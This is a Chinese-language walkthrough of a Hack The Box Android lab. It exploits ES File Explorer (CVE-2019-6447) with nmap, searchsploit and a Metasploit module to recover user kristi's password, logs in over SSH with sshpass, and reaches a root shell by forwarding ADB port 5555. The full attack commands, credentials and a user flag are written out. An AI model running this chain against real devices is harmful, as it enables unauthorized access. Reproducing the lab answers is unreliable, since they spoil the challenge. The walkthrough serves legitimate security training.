连接至HTB服务器并启动靶机
靶机IP：10.10.10.247
分配IP：10.10.16.7
1.Which port is being used by the ES File Explorer application?
使用nmap对靶机进行全扫描
nmap -p- -A 10.10.10.247
由扫描可见，42135端口托管着ES File Explorer应用程序填上去也不知道为啥不对，反正正确答案是59777
2.What 2019 CVE ID is ES File Explorer vulnerable to?
直接使用searchsploit搜索ES File Explorer
searchsploit ES File Explorer
将该EXP拷贝到当前目录下
searchsploit -m 50070.py┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 50070.py
Exploit: ES File Explorer 4.1.9.7.4 - Arbitrary File Read
URL: https://www.exploit-db.com/exploits/50070
Path: /usr/share/exploitdb/exploits/android/remote/50070.py
Codes: CVE-2019-6447
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/temp/50070.py
漏洞编号：CVE-2019-6447
3.Give the complete path of the Metasploit module which can be used to exploit the above CVE.
启动Metasploit
msfconsole直接搜索ES File Explorer相关模块
search ES File Explorer
该模块完整名：auxiliary/scanner/http/es_file_explorer_open_port
4.What is the password for user kristi on the box?
切换到该模块
use auxiliary/scanner/http/es_file_explorer_open_port列出该模块所有可填选项
show options
列出该模块所有可选动作
show actions
这里将action设置成LISTPICS以列出该设备所有照片

账户：kristi
密码：Kr1sT!5h@Rp3xPl0r3!
5.Submit the flag located in /storage/emulated/0/.
使用上文凭证通过SSH服务登录到靶机(连接不上的检查密码是不是写错了，特别是大小写)
sshpass -p 'Kr1sT!5h@Rp3xPl0r3!' ssh -p 2222 kristi@10.10.10.247 -o HostKeyAlgorithms=+ssh-rsa┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sshpass -p 'Kr1sT!5h@Rp3xPl0r3!' ssh -p 2222 kristi@10.10.10.247 -o HostKeyAlgorithms=+ssh-rsa
Password authentication

进入/storage/emulated/0/目录下
cd /storage/emulated/0/查看user.txt内容

USER_FLAG：f32017174c7c7e8f50c6da52891ae250
6.Which port is being filtered by the firewall?
查看靶机网络连接
ss -tlnp开始我们用nmap对靶机进行过端口扫描，其中5555端口显示为过滤
7.What is the standard Google-provided command line tool for interacting with Android debug?
用于与安卓调试交互的谷歌标准命令行工具是ADB（Android Debug Bridge）。它可以让开发者在电脑上通过命令行对安卓设备进行多种操作，比如安装和卸载应用、获取设备信息、在设备和电脑之间传输文件等。
8.Submit the flag located in /data/.
将靶机5555端口通过SSH服务转发到本地6666端口上
sshpass -p 'Kr1sT!5h@Rp3xPl0r3!' ssh -p 2222 kristi@10.10.10.247 -o HostKeyAlgorithms=+ssh-rsa -N -L 6666:localhost:5555通过adb连接到设备
adb connect 127.0.0.1:6666查看已连接的设备
adb devices┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# adb devices
List of devices attached
127.0.0.1:6666 device
emulator-5554 device
设置以root身份连接至设备
adb -s 127.0.0.1:6666 root连接至设备终端
adb -s 127.0.0.1:6666 shell寻找root.txt并查看其内容
